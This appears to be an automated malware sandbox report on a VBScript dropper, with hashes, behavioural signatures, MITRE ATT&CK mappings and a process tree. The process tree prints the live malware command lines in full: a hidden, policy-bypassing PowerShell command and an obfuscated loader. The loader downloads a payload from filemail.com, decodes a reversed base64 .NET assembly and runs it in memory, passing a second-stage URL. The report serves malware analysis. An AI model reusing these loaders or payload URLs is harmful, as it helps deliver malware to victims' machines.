e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850

General

Target

e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs
Size

12KB
MD5

4e9b8807134dfb560b0eb3f0bf8705af
SHA1

086e955967a78b02bb006f3d2755dfc49c536990
SHA256

e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850
SHA512

62dc169e27636a9baee657969f0e678b582a6a4a4b595fb242b037be53ab70c410c241d2f3c0b22f64c1bf7ad429fabc6f2705042f43f53dabc13d0e1369e99b
SSDEEP

192:spKV/HwG/IUUtbeDQgGHOgy9w3Kjv3H03f7sbcS/7XQx74DGICrZOnips3SkvDA:fV4N//ICrZOnips3Sl

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
3	2984	WScript.exe
4	2984	WScript.exe
8	2788	powershell.exe
9	2788	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2788	powershell.exe
2564	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2564	powershell.exe
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exeWScript.exepowershell.exe

description	pid	Process	procid_target
PID 1860 wrote to memory of 2984	1860	WScript.exe	29
PID 1860 wrote to memory of 2984	1860	WScript.exe	29
PID 1860 wrote to memory of 2984	1860	WScript.exe	29
PID 2984 wrote to memory of 2564	2984	WScript.exe	30
PID 2984 wrote to memory of 2564	2984	WScript.exe	30
PID 2984 wrote to memory of 2564	2984	WScript.exe	30
PID 2564 wrote to memory of 2788	2564	powershell.exe	32
PID 2564 wrote to memory of 2788	2564	powershell.exe	32
PID 2564 wrote to memory of 2788	2564	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf

Filesize
1KB

MD5
7204c9eb7a0202a3eb5732158ac1e4a7

SHA1
b46404c81270dc41fe73c8b33503f08f4522c055

SHA256
6181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05

SHA512
bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OZF54F4PPKF7Z1RFJBE5.temp

Filesize
7KB

MD5
da08ee1f269f295cfb24ab051725c540

SHA1
99921b456799134c049a05828ce006041dac3a22

SHA256
88bfb83966f14d905bdd58af26e1218624c58a1e9be1e4021767188d32cb65dc

SHA512
03a4fd08f726d4b9ed68dff768ae9d9e91db545dfde5d49b59ee57f2f424d35d5be3b63806f17174b32ff571c8c1eed61e315ee61b900ec767106ea1cff3e94b

Download Submit
memory/2564-8-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2564-7-0x000000001B810000-0x000000001BAF2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads